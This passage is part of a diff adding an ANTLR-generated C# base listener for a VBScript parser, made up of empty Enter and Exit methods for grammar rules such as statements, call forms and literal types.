+ /// The parse tree. + public virtual void EnterReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitReturnStmt([NotNull] VBScriptParser.ReturnStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRmdirStmt([NotNull] VBScriptParser.RmdirStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterRsetStmt([NotNull] VBScriptParser.RsetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitRsetStmt([NotNull] VBScriptParser.RsetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSavepictureStmt([NotNull] VBScriptParser.SavepictureStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSaveSettingStmt([NotNull] VBScriptParser.SaveSettingStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSeekStmt([NotNull] VBScriptParser.SeekStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSeekStmt([NotNull] VBScriptParser.SeekStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSelectCaseStmt([NotNull] VBScriptParser.SelectCaseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSC_Case([NotNull] VBScriptParser.SC_CaseContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSC_Case([NotNull] VBScriptParser.SC_CaseContext context) { } + /// + /// Enter a parse tree produced by the caseCondElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context) { } + /// + /// Exit a parse tree produced by the caseCondElse + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondElse([NotNull] VBScriptParser.CaseCondElseContext context) { } + /// + /// Enter a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context) { } + /// + /// Exit a parse tree produced by the caseCondExpr + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExpr([NotNull] VBScriptParser.CaseCondExprContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprIs + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprIs([NotNull] VBScriptParser.CaseCondExprIsContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprValue + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprValue([NotNull] VBScriptParser.CaseCondExprValueContext context) { } + /// + /// Enter a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context) { } + /// + /// Exit a parse tree produced by the caseCondExprTo + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCaseCondExprTo([NotNull] VBScriptParser.CaseCondExprToContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSendkeysStmt([NotNull] VBScriptParser.SendkeysStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSetattrStmt([NotNull] VBScriptParser.SetattrStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSetStmt([NotNull] VBScriptParser.SetStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSetStmt([NotNull] VBScriptParser.SetStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStopStmt([NotNull] VBScriptParser.StopStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStopStmt([NotNull] VBScriptParser.StopStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubStmt([NotNull] VBScriptParser.SubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubStmt([NotNull] VBScriptParser.SubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTimeStmt([NotNull] VBScriptParser.TimeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTimeStmt([NotNull] VBScriptParser.TimeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeStmt([NotNull] VBScriptParser.TypeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeStmt([NotNull] VBScriptParser.TypeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeStmt_Element([NotNull] VBScriptParser.TypeStmt_ElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeOfStmt([NotNull] VBScriptParser.TypeOfStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitUnloadStmt([NotNull] VBScriptParser.UnloadStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitUnlockStmt([NotNull] VBScriptParser.UnlockStmtContext context) { } + /// + /// Enter a parse tree produced by the vsAssign + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsAssign([NotNull] VBScriptParser.VsAssignContext context) { } + /// + /// Exit a parse tree produced by the vsAssign + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsAssign([NotNull] VBScriptParser.VsAssignContext context) { } + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsStruct([NotNull] VBScriptParser.VsStructContext context) { } + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsStruct([NotNull] VBScriptParser.VsStructContext context) { } + /// + /// Enter a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context) { } + /// + /// Exit a parse tree produced by the vsAddressOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsAddressOf([NotNull] VBScriptParser.VsAddressOfContext context) { } + /// + /// Enter a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context) { } + /// + /// Exit a parse tree produced by the vsTypeOf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsTypeOf([NotNull] VBScriptParser.VsTypeOfContext context) { } + /// + /// Enter a parse tree produced by the vsNew + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsNew([NotNull] VBScriptParser.VsNewContext context) { } + /// + /// Exit a parse tree produced by the vsNew + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsNew([NotNull] VBScriptParser.VsNewContext context) { } + /// + /// Enter a parse tree produced by the vsICS + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsICS([NotNull] VBScriptParser.VsICSContext context) { } + /// + /// Exit a parse tree produced by the vsICS + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsICS([NotNull] VBScriptParser.VsICSContext context) { } + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsLiteral([NotNull] VBScriptParser.VsLiteralContext context) { } + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsLiteral([NotNull] VBScriptParser.VsLiteralContext context) { } + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context) { } + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsUnaryOperation([NotNull] VBScriptParser.VsUnaryOperationContext context) { } + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context) { } + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsDualOperation([NotNull] VBScriptParser.VsDualOperationContext context) { } + /// + /// Enter a parse tree produced by the vsMid + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsMid([NotNull] VBScriptParser.VsMidContext context) { } + /// + /// Exit a parse tree produced by the vsMid + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsMid([NotNull] VBScriptParser.VsMidContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableStmt([NotNull] VBScriptParser.VariableStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableStmt([NotNull] VBScriptParser.VariableStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableListStmt([NotNull] VBScriptParser.VariableListStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVariableSubStmt([NotNull] VBScriptParser.VariableSubStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWhileWendStmt([NotNull] VBScriptParser.WhileWendStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWidthStmt([NotNull] VBScriptParser.WidthStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWidthStmt([NotNull] VBScriptParser.WidthStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWithStmt([NotNull] VBScriptParser.WithStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWithStmt([NotNull] VBScriptParser.WithStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterWriteStmt([NotNull] VBScriptParser.WriteStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitWriteStmt([NotNull] VBScriptParser.WriteStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitExplicitCallStmt([NotNull] VBScriptParser.ExplicitCallStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitECS_ProcedureCall([NotNull] VBScriptParser.ECS_ProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitECS_MemberProcedureCall([NotNull] VBScriptParser.ECS_MemberProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplicitCallStmt_InBlock([NotNull] VBScriptParser.ImplicitCallStmt_InBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNoParenthesisArgs([NotNull] VBScriptParser.NoParenthesisArgsContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_B_ProcedureCall([NotNull] VBScriptParser.ICS_B_ProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_B_MemberProcedureCall([NotNull] VBScriptParser.ICS_B_MemberProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitImplicitCallStmt_InStmt([NotNull] VBScriptParser.ImplicitCallStmt_InStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_VariableOrProcedureCall([NotNull] VBScriptParser.ICS_S_VariableOrProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_ProcedureOrArrayCall([NotNull] VBScriptParser.ICS_S_ProcedureOrArrayCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_NestedProcedureCall([NotNull] VBScriptParser.ICS_S_NestedProcedureCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_MembersCall([NotNull] VBScriptParser.ICS_S_MembersCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_MemberCall([NotNull] VBScriptParser.ICS_S_MemberCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitICS_S_DefaultMemberAccess([NotNull] VBScriptParser.ICS_S_DefaultMemberAccessContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgsCall([NotNull] VBScriptParser.ArgsCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgsCall([NotNull] VBScriptParser.ArgsCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgCall([NotNull] VBScriptParser.ArgCallContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgCall([NotNull] VBScriptParser.ArgCallContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitDefaultMemberAccess([NotNull] VBScriptParser.DefaultMemberAccessContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgList([NotNull] VBScriptParser.ArgListContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgList([NotNull] VBScriptParser.ArgListContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArg([NotNull] VBScriptParser.ArgContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArg([NotNull] VBScriptParser.ArgContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubscripts([NotNull] VBScriptParser.SubscriptsContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubscripts([NotNull] VBScriptParser.SubscriptsContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterSubscript([NotNull] VBScriptParser.SubscriptContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitSubscript([NotNull] VBScriptParser.SubscriptContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterBaseType([NotNull] VBScriptParser.BaseTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitBaseType([NotNull] VBScriptParser.BaseTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComplexType([NotNull] VBScriptParser.ComplexTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComplexType([NotNull] VBScriptParser.ComplexTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterFieldLength([NotNull] VBScriptParser.FieldLengthContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitFieldLength([NotNull] VBScriptParser.FieldLengthContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLetterrange([NotNull] VBScriptParser.LetterrangeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLetterrange([NotNull] VBScriptParser.LetterrangeContext context) { } + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtColor([NotNull] VBScriptParser.LtColorContext context) { } + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtColor([NotNull] VBScriptParser.LtColorContext context) { } + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtOctal([NotNull] VBScriptParser.LtOctalContext context) { } + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtOctal([NotNull] VBScriptParser.LtOctalContext context) { } + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDate([NotNull] VBScriptParser.LtDateContext context) { } + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDate([NotNull] VBScriptParser.LtDateContext context) { } + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtString([NotNull] VBScriptParser.LtStringContext context) { } + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtString([NotNull] VBScriptParser.LtStringContext context) { } + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDouble([NotNull] VBScriptParser.LtDoubleContext context) { } + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDouble([NotNull] VBScriptParser.LtDoubleContext context) { } + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context) { } + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context) { } + /// + /// Enter a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context) { } + /// + /// Exit a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context) { } + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtInteger([NotNull] VBScriptParser.LtIntegerContext context) { } + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtInteger([NotNull] VBScriptParser.LtIntegerContext context) { } + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtBoolean([NotNull] VBScriptParser.LtBooleanContext context) { } + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtBoolean([NotNull] VBScriptParser.LtBooleanContext context) { } + /// + /// Enter a parse tree produced by the ltNothing + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtNothing([NotNull] VBScriptParser.LtNothingContext context) { } + /// + /// Exit a parse tree produced by the ltNothing + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtNothing([NotNull] VBScriptParser.LtNothingContext context) { } + /// + /// Enter a parse tree produced by the ltNull + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtNull([NotNull] 